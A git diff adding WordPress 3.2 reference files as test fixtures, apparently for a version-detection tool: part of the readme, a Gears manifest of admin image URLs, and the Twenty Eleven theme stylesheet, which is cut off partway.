Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will delete emails that are successfully posted.

+ +

User Roles

+

We introduced a very flexible roles system in version 2.0. You can read more about Roles and Capabilities on the Codex.

+ +

Final Notes

+
    +
  • If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the Support Forums.
  • +
  • WordPress has a robust plugin API that makes extending the code easy. If you are a developer interested in utilizing this, see the plugin documentation in the Codex. You shouldn't modify any of the core code.
  • +
+ +

Share the Love

+

WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.

+ +

WordPress is the official continuation of b2/cafélog, which came from Michel V. The work has been continued by the WordPress developers. If you would like to support WordPress, please consider donating.

+ +

License

+

WordPress is free software, and is released under the terms of the GPL version 2 or (at your option) any later version. See license.txt.

+ + + + diff --git a/spec/fixtures/wp_versions/3.2/wp-admin/gears-manifest.php b/spec/fixtures/wp_versions/3.2/wp-admin/gears-manifest.php new file mode 100644 index 00000000..6811fb34 --- /dev/null +++ b/spec/fixtures/wp_versions/3.2/wp-admin/gears-manifest.php @@ -0,0 +1,72 @@ +{ +"betaManifestVersion" : 1, +"version" : "4c4cab4ac02dd9b2bf8f0011808232cc", +"entries" : [ +{ "url" : "images/align-center.png", "ignoreQuery" : true } +{ "url" : "images/align-left.png", "ignoreQuery" : true } +{ "url" : "images/align-none.png", "ignoreQuery" : true } +{ "url" : "images/align-right.png", "ignoreQuery" : true } +{ "url" : "images/archive-link.png", "ignoreQuery" : true } +{ "url" : "images/blue-grad.png", "ignoreQuery" : true } +{ "url" : "images/bubble_bg.gif", "ignoreQuery" : true } +{ "url" : "images/bubble_bg-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/button-grad.png", "ignoreQuery" : true } +{ "url" : "images/button-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/comment-grey-bubble.png", "ignoreQuery" : true } +{ "url" : "images/date-button.gif", "ignoreQuery" : true } +{ "url" : "images/ed-bg.gif", "ignoreQuery" : true } +{ "url" : "images/fade-butt.png", "ignoreQuery" : true } +{ "url" : "images/fav.png", "ignoreQuery" : true } +{ "url" : "images/fav-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/fav-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/generic.png", "ignoreQuery" : true } +{ "url" : "images/gray-grad.png", "ignoreQuery" : true } +{ "url" : "images/icons32.png", "ignoreQuery" : true } +{ "url" : "images/icons32-vs.png", "ignoreQuery" : true } +{ "url" : "images/list.png", "ignoreQuery" : true } +{ "url" : "images/wpspin_light.gif", "ignoreQuery" : true } +{ "url" : "images/wpspin_dark.gif", "ignoreQuery" : true } +{ "url" : "images/logo.gif", "ignoreQuery" : true } +{ "url" : "images/logo-ghost.png", "ignoreQuery" : true } +{ "url" : "images/logo-login.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-image.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-music.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-other.gif", "ignoreQuery" : true } +{ "url" : "images/media-button-video.gif", "ignoreQuery" : true } +{ "url" : "images/menu.png", "ignoreQuery" : true } +{ "url" : "images/menu-vs.png", "ignoreQuery" : true } +{ "url" : "images/menu-arrows.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits.gif", "ignoreQuery" : true } +{ "url" : "images/menu-bits-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark.gif", "ignoreQuery" : true } +{ "url" : "images/menu-dark-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/no.png", "ignoreQuery" : true } +{ "url" : "images/required.gif", "ignoreQuery" : true } +{ "url" : "images/resize.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right.gif", "ignoreQuery" : true } +{ "url" : "images/screen-options-right-up.gif", "ignoreQuery" : true } +{ "url" : "images/se.png", "ignoreQuery" : true } +{ "url" : "images/star.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow.gif", "ignoreQuery" : true } +{ "url" : "images/toggle-arrow-rtl.gif", "ignoreQuery" : true } +{ "url" : "images/white-grad.png", "ignoreQuery" : true } +{ "url" : "images/white-grad-active.png", "ignoreQuery" : true } +{ "url" : "images/wordpress-logo.png", "ignoreQuery" : true } +{ "url" : "images/wp-logo.png", "ignoreQuery" : true } +{ "url" : "images/xit.gif", "ignoreQuery" : true } +{ "url" : "images/yes.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/archive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/audio.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/code.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/default.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/document.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/interactive.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/text.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/video.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/crystal/spreadsheet.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/rss.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/blank.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/images/upload.png", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/loadingAnimation.gif", "ignoreQuery" : true } +{ "url" : "../wp-includes/js/thickbox/tb-close.png", "ignoreQuery" : true } +]} diff --git a/spec/fixtures/wp_versions/3.2/wp-content/themes/twentyeleven/style.css b/spec/fixtures/wp_versions/3.2/wp-content/themes/twentyeleven/style.css new file mode 100755 index 00000000..83f57c02 --- /dev/null +++ b/spec/fixtures/wp_versions/3.2/wp-content/themes/twentyeleven/style.css @@ -0,0 +1,2669 @@ +/* +Theme Name: Twenty Eleven +Theme URI: http://wordpress.org/extend/themes/twentyeleven +Author: the WordPress team +Author URI: http://wordpress.org/ +Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a custom menu, header image, and background -- then go further with available theme options for light or dark color scheme, custom link colors, and three layout choices. Twenty Eleven comes equipped with a Showcase page template that transforms your front page into a showcase to show off your best content, widget support galore (sidebar, three footer areas, and a Showcase page widget area), and a custom "Ephemera" widget to display your Aside, Link, Quote, or Status posts. Included are styles for print and for the admin editor, support for featured images (as custom header images on posts and pages and as large images on featured "sticky" posts), and special styles for six different post formats. +Version: 1.1 +License: GNU General Public License +License URI: license.txt +Tags: dark, light, white, black, gray, one-column, two-columns, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-image-header, featured-images, full-width-template, microformats, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready +*/ + +/* =Reset default browser CSS. Based on work by Eric Meyer: http://meyerweb.com/eric/tools/css/reset/index.html +-------------------------------------------------------------- */ + +html, body, div, span, applet, object, iframe, +h1, h2, h3, h4, h5, h6, p, blockquote, pre, +a, abbr, acronym, address, big, cite, code, +del, dfn, em, font, ins, kbd, q, s, samp, +small, strike, strong, sub, sup, tt, var, +dl, dt, dd, ol, ul, li, +fieldset, form, label, legend, +table, caption, tbody, tfoot, thead, tr, th, td { + border: 0; + font-family: inherit; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline; +} +:focus {/* remember to define focus styles! */ + outline: 0; +} +body { + background: #fff; + line-height: 1; +} +ol, ul { + list-style: none; +} +table {/* tables still need 'cellspacing="0"' in the markup */ + border-collapse: separate; + border-spacing: 0; +} +caption, th, td { + font-weight: normal; + text-align: left; +} +blockquote:before, blockquote:after, +q:before, q:after { + content: ""; +} +blockquote, q { + quotes: "" ""; +} +a img { + border: 0; +} +article, aside, details, figcaption, figure, +footer, header, hgroup, menu, nav, section { + display: block; +} + + +/* =Structure +----------------------------------------------- */ + +body { + padding: 0 2em; +} +#page { + margin: 2em auto; + max-width: 1000px; +} +#branding hgroup { + margin: 0 7.6%; +} +#access div { + margin: 0 7.6%; +} +#primary { + float: left; + margin: 0 -26.4% 0 0; + width: 100%; +} +#content { + margin: 0 34% 0 7.6%; + width: 58.4%; +} +#secondary { + float: right; + margin-right: 7.6%; + width: 18.8%; +} + +/* Singular */ +.singular #primary { + margin: 0; +} +.singular #content, +.left-sidebar.singular #content { + margin: 0 7.6%; + position: relative; + width: auto; +} +.singular .entry-header, +.singular .entry-content, +.singular footer.entry-meta, +.singular #comments-title { + margin: 0 auto; + width: 68.9%; +} + +/* Attachments */ +.singular .image-attachment .entry-content { + margin: 0 auto; + width: auto; +} +.singular .image-attachment .entry-description { + margin: 0 auto; + width: 68.9%; +} + +/* Showcase */ +.page-template-showcase-php #primary, +.left-sidebar.page-template-showcase-php #primary { + margin: 0; +} +.page-template-showcase-php #content, +.left-sidebar.page-template-showcase-php #content { + margin: 0 7.6%; + width: auto; +} +.page-template-showcase-php section.recent-posts { + float: right; + margin: 0 0 0 31%; + width: 69%; +} +.page-template-showcase-php #main .widget-area { + float: left; + margin: 0 -22.15% 0 0; + width: 22.15%; +} + +/* error404 */ +.error404 #primary { + float: none; + margin: 0; +} +.error404 #primary #content { + margin: 0 7.6%; + width: auto; +} + +/* Alignment */ +.alignleft { + display: inline; + float: left; + margin-right: 1.625em; +} +.alignright { + display: inline; + float: right; + margin-left: 1.625em; +} +.aligncenter { + clear: both; + display: block; + margin-left: auto; + margin-right: auto; +} + +/* Right Content */ +.left-sidebar #primary { + float: right; + margin: 0 0 0 -26.4%; + width: 100%; +} +.left-sidebar #content { + margin: 0 7.6% 0 34%; + width: 58.4%; +} +.left-sidebar #secondary { + float: left; + margin-left: 7.6%; + margin-right: 0; + width: 18.8%; +} + +/* One column */ +.one-column #page { + max-width: 690px; +} +.one-column #content { + margin: 0 7.6%; + width: auto; +} +.one-column #nav-below { + border-bottom: 1px solid #ddd; + margin-bottom: 1.625em; +} +.one-column #secondary { + float: none; + margin: 0 7.6%; + width: auto; +} +/* Simplify the showcase template */ +.one-column .page-template-showcase-php section.recent-posts { + float: none; + margin: 0; + width: 100%; +} +.one-column .page-template-showcase-php #main .widget-area { + float: none; + margin: 0; + width: auto; +} +.one-column .page-template-showcase-php .other-recent-posts { + border-bottom: 1px solid #ddd; +} +/* Simplify the showcase template when small feature */ +.one-column section.featured-post .attachment-small-feature { + border: none; + display: block; + height: auto; + max-width: 60%; + position: static; +} +.one-column article.feature-image.small { + margin: 0 0 1.625em; + padding: 0; +} +.one-column article.feature-image.small .entry-title { + font-size: 20px; + line-height: 1.3em; +} +.one-column article.feature-image.small .entry-summary { + height: 150px; + overflow: hidden; + padding: 0; + text-overflow: ellipsis; +} +.one-column article.feature-image.small .entry-summary a { + left: -9%; +} +/* Remove the margin on singular articles */ +.one-column.singular .entry-header, +.one-column.singular .entry-content, +.one-column.singular footer.entry-meta, +.one-column.singular #comments-title { + width: 100%; +} +/* Simplify the pullquotes and pull styles */ +.one-column.singular blockquote.pull { + margin: 0 0 1.625em; +} +.one-column.singular .pull.alignleft { + margin: 0 1.625em 0 0; +} +.one-column.singular .pull.alignright { + margin: 0 0 0 1.625em; +} +.one-column.singular .entry-meta .edit-link a { + position: absolute; + left: 0; + top: 40px; +} +.one-column.singular #author-info { + margin: 2.2em -8.8% 0; + padding: 20px 8.8%; +} +/* Make sure we have room for our comment avatars */ +.one-column .commentlist > li.comment { + margin-left: 102px; + width: auto; +} +/* Make sure the logo and search form don't collide */ +.one-column #branding #searchform { + right: 40px; + top: 4em; +} +/* Talking avatars take up too much room at this size */ +.one-column .commentlist > li.comment { + margin-left: 0; +} +.one-column .commentlist > li.comment .comment-meta, +.one-column .commentlist > li.comment .comment-content { + margin-right: 85px; +} +.one-column .commentlist .avatar { + background: transparent; + display: block; + padding: 0; + top: 1.625em; + left: auto; + right: 1.625em; +} +.one-column .commentlist .children .avatar { + background: none; + padding: 0; + position: absolute; + top: 2.2em; + left: 2.2em; +} +.one-column #respond { + width: auto; +} + + +/* =Global +----------------------------------------------- */ + +body, input, textarea { + color: #373737; + font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + line-height: 1.625; +} +body { + background: #e2e2e2; +} +#page { + background: #fff; +} + +/* Headings */ +h1,h2,h3,h4,h5,h6 { + clear: both; +} +hr { + background-color: #ccc; + border: 0; + height: 1px; + margin-bottom: 1.625em; +} + +/* Text elements */ +p { + margin-bottom: 1.625em; +} +ul, ol { + margin: 0 0 1.625em 2.5em; +} +ul { + list-style: square; +} +ol { + list-style-type: decimal; +} +ol ol { + list-style: upper-alpha; +} +ol ol ol { + list-style: lower-roman; +} +ol ol ol ol { + list-style: lower-alpha; +} +ul ul, ol ol, ul ol, ol ul { + margin-bottom: 0; +} +dl { + margin: 0 1.625em; +} +dt { + font-weight: bold; +} +dd { + margin-bottom: 1.625em; +} +strong { + font-weight: bold; +} +cite, em, i { + font-style: italic; +} +blockquote { + font-family: Georgia, "Bitstream Charter", serif; + font-style: italic; + font-weight: normal; + margin: 0 3em; +} +blockquote em, blockquote i, blockquote cite { + font-style: normal; +} +blockquote cite { + color: #666; + font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif; + font-weight: 300; + letter-spacing: 0.05em; + text-transform: uppercase; +} +pre { + background: #f4f4f4; + font: 13px "Courier 10 Pitch", Courier, monospace; + line-height: 1.5; + margin-bottom: 1.625em; + overflow: auto; + padding: 0.75em 1.625em; +} +code, kbd { + font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace; +} +abbr, acronym, dfn { + border-bottom: 1px dotted #666; + cursor: help; +} +address { + display: block; + margin: 0 0 1.625em; +} +ins { + background: #fff9c0; + text-decoration: none; +} +sup, +sub { + font-size: 10px; + height: 0; + line-height: 1; + position: relative; + vertical-align: baseline; +} +sup { + bottom: 1ex; +} +sub { + top: .5ex; +} + +/* Forms */ +input[type=text], +input[type=password], +textarea { + background: #fafafa; + -moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + box-shadow: inset 0 1px 1px rgba(0,0,0,0.1); + border: 1px solid #ddd; + color: #888; +} +input[type=text]:focus, +textarea:focus { + color: #373737; +} +textarea { + padding-left: 3px; + width: 98%; +} +input[type=text] { + padding: 3px; +} +input#s { + background: url(images/search.png) no-repeat 5px 6px; + -moz-border-radius: 2px; + border-radius: 2px; + font-size: 14px; + height: 22px; + line-height: 1.2em; + padding: 4px 10px 4px 28px; +} +input#searchsubmit { + display: none; +} + +/* Links */ +a { + color: #1982d1; + text-decoration: none; +} +a:focus, +a:active, +a:hover { + text-decoration: underline; +} + +/* Assistive text */ +.assistive-text { + position: absolute !important; + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); +} +#access a.assistive-text:active, +#access a.assistive-text:focus { + background: #eee; + border-bottom: 1px solid #ddd; + color: #1982d1; + clip: auto !important; + font-size: 12px; + position: absolute; + text-decoration: underline; + top: 0; + left: 7.6%; +} + + +/* =Header +----------------------------------------------- */ + +#branding { + border-top: 2px solid #bbb; + padding-bottom: 10px; + position: relative; + z-index: 2; +} +#site-title { + margin-right: 270px; + padding: 3.65625em 0 0; +} +#site-title a { + color: #111; + font-size: 30px; + font-weight: bold; + line-height: 36px; + text-decoration: none; +} +#site-title a:hover, +#site-title a:focus, +#site-title a:active { + color: #1982d1; +} +#site-description { + color: #7a7a7a; + font-size: 14px; + margin: 0 270px 3.65625em 0; +} +#branding img { + height: auto; + margin-bottom: -7px; + width: 100%; +} + + +/* =Menu +-------------------------------------------------------------- */ + +#access { + background: #222; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#252525, #0a0a0a); + background: -o-linear-gradient(#252525, #0a0a0a); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#252525), to(#0a0a0a)); /* older webkit syntax */ + background: -webkit-linear-gradient(#252525, #0a0a0a); + -webkit-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + -moz-box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + box-shadow: rgba(0, 0, 0, 0.4) 0px 1px 2px; + clear: both; + display: block; + float: left; + margin: 0 auto 6px; + width: 100%; +} +#access ul { + font-size: 13px; + list-style: none; + margin: 0 0 0 -0.8125em; + padding-left: 0; +} +#access li { + float: left; + position: relative; +} +#access a { + color: #eee; + display: block; + line-height: 3.333em; + padding: 0 1.2125em; + text-decoration: none; +} +#access ul ul { + -moz-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + -webkit-box-shadow: 0 3px 3px rgba(0,0,0,0.2); + box-shadow: 0 3px 3px rgba(0,0,0,0.2); + display: none; + float: left; + margin: 0; + position: absolute; + top: 3.333em; + left: 0; + width: 188px; + z-index: 99999; +} +#access ul ul ul { + left: 100%; + top: 0; +} +#access ul ul a { + background: #f9f9f9; + border-bottom: 1px dotted #ddd; + color: #444; + font-size: 13px; + font-weight: normal; + height: auto; + line-height: 1.4em; + padding: 10px 10px; + width: 168px; +} +#access li:hover > a, +#access ul ul :hover > a, +#access a:focus { + background: #efefef; +} +#access li:hover > a, +#access a:focus { + background: #f9f9f9; /* Show a solid color for older browsers */ + background: -moz-linear-gradient(#f9f9f9, #e5e5e5); + background: -o-linear-gradient(#f9f9f9, #e5e5e5); + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#f9f9f9), to(#e5e5e5)); /* Older webkit syntax */ + background: -webkit-linear-gradient(#f9f9f9, #e5e5e5); + color: #373737; +} +#access ul li:hover > ul { + display: block; +} +#access .current_page_item > a, +#access .current_page_ancestor > a { + font-weight: bold; +} + +/* Search Form */ +#branding #searchform { + position: absolute; + top: 3.8em; + right: 7.6%; + text-align: right; +} +#branding #searchform div { + margin: 0; +} +#branding #s { + float: right; + -webkit-transition-duration: 400ms; + -webkit-transition-property: width, background; + -webkit-transition-timing-function: ease; + -moz-transition-duration: 400ms; + -moz-transition-property: width, background; + -moz-transition-timing-function: ease; + -o-transition-duration: 400ms; + -o-transition-property: width, background; + -o-transition-timing-function: ease; + width: 72px; +} +#branding #s:focus { + background-color: #f9f9f9; + width: 196px; +} +#branding #searchsubmit { + display: none; +} +#branding .only-search #searchform { + top: 5px; + z-index: 1; +} +#branding .only-search #s { + background-color: #666; + border-color: #000; + color: #222; +} +#branding .only-search #s, +#branding .only-search #s:focus { + width: 85%; +} +#branding .only-search #s:focus { + background-color: #bbb; +} +#branding .with-image #searchform { + top: auto; + bottom: -27px; +} +#branding .only-search + #access div { + padding-right: 205px; +} + + +/* =Content +----------------------------------------------- */ + +#main { + clear: both; + padding: 1.625em 0 0; +} +.page-title { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + margin: 0 0 2.6em; + text-transform: uppercase; +} +.page-title a { + font-size: 12px; + font-weight: bold; + letter-spacing: 0; + text-transform: none; +} +.hentry, +.no-results { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + padding: 0 0 1.625em; + position: relative; +} +.hentry:last-child, +.no-results { + border-bottom: none; +} +.blog .sticky .entry-header .entry-meta { + clip: rect(1px 1px 1px 1px); /* IE6, IE7 */ + clip: rect(1px, 1px, 1px, 1px); + position: absolute !important; +} +.entry-title, +.entry-header .entry-meta { + padding-right: 76px; +} +.entry-title { + clear: both; + color: #222; + font-size: 26px; + font-weight: bold; + line-height: 1.5em; + padding-bottom: .3em; + padding-top: 15px; +} +.entry-title, +.entry-title a { + color: #222; + text-decoration: none; +} +.entry-title a:hover, +.entry-title a:focus, +.entry-title a:active { + color: #1982d1; +} +.entry-meta { + color: #666; + clear: both; + font-size: 12px; + line-height: 18px; +} +.entry-meta a { + font-weight: bold; +} +.single-author .entry-meta .by-author { + display: none; +} +.entry-content, +.entry-summary { + padding: 1.625em 0 0; +} +.entry-content h1, +.entry-content h2, +.comment-content h1, +.comment-content h2 { + color: #000; + font-weight: bold; + margin: 0 0 .8125em; +} +.entry-content h3, +.comment-content h3 { + font-size: 10px; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content table, +.comment-content table { + border-bottom: 1px solid #ddd; + margin: 0 0 1.625em; + width: 100%; +} +.entry-content th, +.comment-content th { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + text-transform: uppercase; +} +.entry-content td, +.comment-content td { + border-top: 1px solid #ddd; + padding: 6px 10px 6px 0; +} +.entry-content #s { + width: 75%; +} +.comment-content ul, +.comment-content ol { + margin-bottom: 1.625em; +} +.comment-content ul ul, +.comment-content ol ol, +.comment-content ul ol, +.comment-content ol ul { + margin-bottom: 0; +} +dl.gallery-item { + margin: 0; +} +.page-link { + clear: both; + display: block; + margin: 0 0 1.625em; +} +.page-link a { + background: #eee; + color: #373737; + margin: 0; + padding: 2px 3px; + text-decoration: none; +} +.page-link a:hover { + background: #888; + color: #fff; + font-weight: bold; +} +.page-link span { + margin-right: 6px; +} +.entry-meta .edit-link a, +.commentlist .edit-link a { + background: #eee; + -moz-border-radius: 3px; + border-radius: 3px; + color: #666; + float: right; + font-size: 12px; + line-height: 1.5em; + font-weight: 300; + text-decoration: none; + padding: 0 8px; +} +.entry-meta .edit-link a:hover, +.commentlist .edit-link a:hover { + background: #888; + color: #fff; +} +.entry-content .edit-link { + clear: both; + display: block; +} + +/* Images */ +.entry-content img, +.comment-content img, +.widget img { + max-width: 97.5%; /* Fluid images for posts, comments, and widgets */ +} +img[class*="align"], +img[class*="wp-image-"] { + height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */ +} +img.size-full { + max-width: 97.5%; + width: auto; /* Prevent stretching of full-size images with height and width attributes in IE8 */ +} +.entry-content img.wp-smiley { + border: none; + margin-bottom: 0; + margin-top: 0; + padding: 0; +} +img.alignleft, +img.alignright, +img.aligncenter { + margin-bottom: 1.625em; +} +p img, +.wp-caption { + margin-top: 0.4em; +} +.wp-caption { + background: #eee; + margin-bottom: 1.625em; + max-width: 96%; + padding: 9px; +} +.wp-caption img { + display: block; + margin: 0 auto; + max-width: 98%; +} +.wp-caption .wp-caption-text, +.gallery-caption { + color: #666; + font-family: Georgia, serif; + font-size: 12px; +} +.wp-caption .wp-caption-text { + margin-bottom: 0.6em; + padding: 10px 0 5px 40px; + position: relative; +} +.wp-caption .wp-caption-text:before { + color: #666; + content: '\2014'; + font-size: 14px; + font-style: normal; + font-weight: bold; + margin-right: 5px; + position: absolute; + left: 10px; + top: 7px; +} +#content .gallery { + margin: 0 auto 1.625em; +} +#content .gallery a img { + border: none; +} +img#wpstats { + display: block; + margin: 0 auto 1.625em; +} +#content .gallery-columns-4 .gallery-item { + width: 23%; + padding-right: 2%; +} +#content .gallery-columns-4 .gallery-item img { + width: 100%; + height: auto; +} + +/* Image borders */ +img[class*="align"], +img[class*="wp-image-"], +#content .gallery .gallery-icon img {/* Add fancy borders to all WordPress-added images but not things like badges and icons and the like */ + border: 1px solid #ddd; + padding: 6px; +} +.wp-caption img { + border-color: #eee; +} +a:focus img[class*="align"], +a:hover img[class*="align"], +a:active img[class*="align"], +a:focus img[class*="wp-image-"], +a:hover img[class*="wp-image-"], +a:active img[class*="wp-image-"], +#content .gallery .gallery-icon a:focus img, +#content .gallery .gallery-icon a:hover img, +#content .gallery .gallery-icon a:active img {/* Add some useful style to those fancy borders for linked images ... */ + background: #eee; + border-color: #bbb; +} +.wp-caption a:focus img, +.wp-caption a:active img, +.wp-caption a:hover img {/* ... including captioned images! */ + background: #fff; + border-color: #ddd; +} + +/* Password Protected Posts */ +.post-password-required .entry-header .comments-link { + margin: 1.625em 0 0; +} +.post-password-required input[type=password] { + margin: 0.8125em 0; +} +.post-password-required input[type=password]:focus { + background: #f7f7f7; +} + +/* Author Info */ +#author-info { + font-size: 12px; + overflow: hidden; +} +.singular #author-info { + background: #f9f9f9; + border-top: 1px solid #ddd; + border-bottom: 1px solid #ddd; + margin: 2.2em -35.6% 0 -35.4%; + padding: 20px 35.4%; +} +.archive #author-info { + border-bottom: 1px solid #ddd; + margin: 0 0 2.2em; + padding: 0 0 2.2em; +} +#author-avatar { + float: left; + margin-right: -78px; +} +#author-avatar img { + background: #fff; + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #bbb; + -moz-box-shadow: 0 1px 2px #bbb; + box-shadow: 0 1px 2px #bbb; + padding: 3px; +} +#author-description { + float: left; + margin-left: 108px; +} +#author-description h2 { + color: #000; + font-size: 15px; + font-weight: bold; + margin: 5px 0 10px; +} + +/* Comments link */ +.entry-header .comments-link a { + background: #eee url(images/comment-bubble.png) no-repeat; + color: #666; + font-size: 13px; + font-weight: normal; + line-height: 35px; + overflow: hidden; + padding: 0 0 0; + position: absolute; + top: 1.5em; + right: 0; + text-align: center; + text-decoration: none; + width: 43px; + height: 36px; +} +.entry-header .comments-link a:hover, +.entry-header .comments-link a:focus, +.entry-header .comments-link a:active { + background-color: #1982d1; + color: #fff; + color: rgba(255,255,255,0.8); +} +.entry-header .comments-link .leave-reply { + visibility: hidden; +} + +/* +Post Formats Headings +To hide the headings, display: none the ".entry-header .entry-format" selector, +and remove the padding rules below. +*/ +.entry-header .entry-format { + color: #666; + font-size: 10px; + font-weight: 500; + letter-spacing: 0.1em; + line-height: 2.6em; + position: absolute; + text-transform: uppercase; + top: -5px; +} +.entry-header hgroup .entry-title { + padding-top: 15px; +} +article.format-aside .entry-content, +article.format-link .entry-content, +article.format-status .entry-content { + padding: 20px 0 0; +} +.recent-posts .entry-header .entry-format { + display: none; +} +.recent-posts .entry-header hgroup .entry-title { + padding-top: 0; +} + +/* Singular content styles for Posts and Pages */ +.singular .hentry { + border-bottom: none; + padding: 4.875em 0 0; + position: relative; +} +.singular.page .hentry { + padding: 3.5em 0 0; +} +.singular .entry-title { + color: #000; + font-size: 36px; + font-weight: bold; + line-height: 48px; +} +.singular .entry-title, +.singular .entry-header .entry-meta { + padding-right: 0; +} +.singular .entry-header .entry-meta { + position: absolute; + top: 0; + left: 0; +} +blockquote.pull { + font-size: 21px; + font-weight: bold; + line-height: 1.6125em; + margin: 0 0 1.625em; + text-align: center; +} +.singular blockquote.pull { + margin: 0 -22.25% 1.625em; +} +.pull.alignleft { + margin: 0 1.625em 0 0; + text-align: right; + width: 33%; +} +.singular .pull.alignleft { + margin: 0 1.625em 0 -22.25%; +} +.pull.alignright { + margin: 0 0 0 1.625em; + text-align: left; + width: 33%; +} +.singular .pull.alignright { + margin: 0 -22.25% 0 1.625em; +} +.singular blockquote.pull.alignleft, +.singular blockquote.pull.alignright { + width: 33%; +} +.singular .entry-meta .edit-link a { + bottom: auto; + left: 50px; + position: absolute; + right: auto; + top: 80px; +} + + +/* =Aside +----------------------------------------------- */ + +.format-aside .entry-title, +.format-aside .entry-header .comments-link { + display: none; +} +.singular .format-aside .entry-title { + display: block; +} +.format-aside .entry-content { + padding: 0; +} +.singular .format-aside .entry-content { + padding: 1.625em 0 0; +} + + +/* =Link +----------------------------------------------- */ + +.format-link .entry-title, +.format-link .entry-header .comments-link { + display: none; +} +.singular .format-link .entry-title { + display: block; +} +.format-link .entry-content { + padding: 0; +} +.singular .format-link .entry-content { + padding: 1.625em 0 0; +} + + +/* =Gallery +----------------------------------------------- */ + +.format-gallery .gallery-thumb { + float: left; + display: block; + margin: .375em 1.625em 0 0; +} + + +/* =Status +----------------------------------------------- */ + +.format-status .entry-title, +.format-status .entry-header .comments-link { + display: none; +} +.singular .format-status .entry-title { + display: block; +} +.format-status .entry-content { + padding: 0; +} +.singular .format-status .entry-content { + padding: 1.625em 0 0; +} +.format-status img.avatar { + -moz-border-radius: 3px; + border-radius: 3px; + -webkit-box-shadow: 0 1px 2px #ccc; + -moz-box-shadow: 0 1px 2px #ccc; + box-shadow: 0 1px 2px #ccc; + float: left; + margin: 4px 10px 2px 0; + padding: 0; +} + + +/* =Quote +----------------------------------------------- */ + +.format-quote blockquote { + color: #555; + font-size: 17px; + margin: 0; +} + + +/* =Image +----------------------------------------------- */ + +.indexed.format-image .entry-header { + min-height: 61px; /* Prevent the comment icon from colliding with the image when there is no title */ +} +.indexed.format-image .entry-content { + padding-top: 0.5em; +} +.indexed.format-image p, +.indexed.format-image p img { + margin-bottom: 0; +} +.indexed.format-image footer.entry-meta { + background: #ddd; + margin-top: -7px; + padding: 20px 30px; + overflow: hidden; +} +.indexed.format-image div.entry-meta { + display: inline-block; + float: left; + width: 35%; +} +.indexed.format-image div.entry-meta + div.entry-meta { + float: none; + width: 65%; +} +.indexed.format-image .entry-meta span.cat-links, +.indexed.format-image .entry-meta span.tag-links, +.indexed.format-image .entry-meta span.comments-link { + display: block; +} +.indexed.format-image footer.entry-meta a { + color: #444; +} +.indexed.format-image footer.entry-meta a:hover { + color: #fff; +} +#content .indexed.format-image img { + border: none; + max-width: 100%; + padding: 0; +} +.indexed.format-image .wp-caption { + background: #111; + margin-bottom: 0; + max-width: 96%; + padding: 11px; +} +.indexed.format-image .wp-caption .wp-caption-text { + color: #ddd; +} +.indexed.format-image .wp-caption .wp-caption-text:before { + color: #444; +} +.indexed.format-image a:hover img { + opacity: 0.8; +} + + +/* =error404 +----------------------------------------------- */ + +.error404 #main #searchform { + background: #f9f9f9; + border: 1px solid #ddd; + border-width: 1px 0; + margin: 0 -8.9% 1.625em; + overflow: hidden; + padding: 1.625em 8.9%; +} +.error404 #main #s { + width: 95%; +} +.error404 #main .widget { + clear: none; + float: left; + margin-right: 3.7%; + width: 30.85%; +} +.error404 #main .widget_archive { + margin-right: 0; +} +.error404 #main 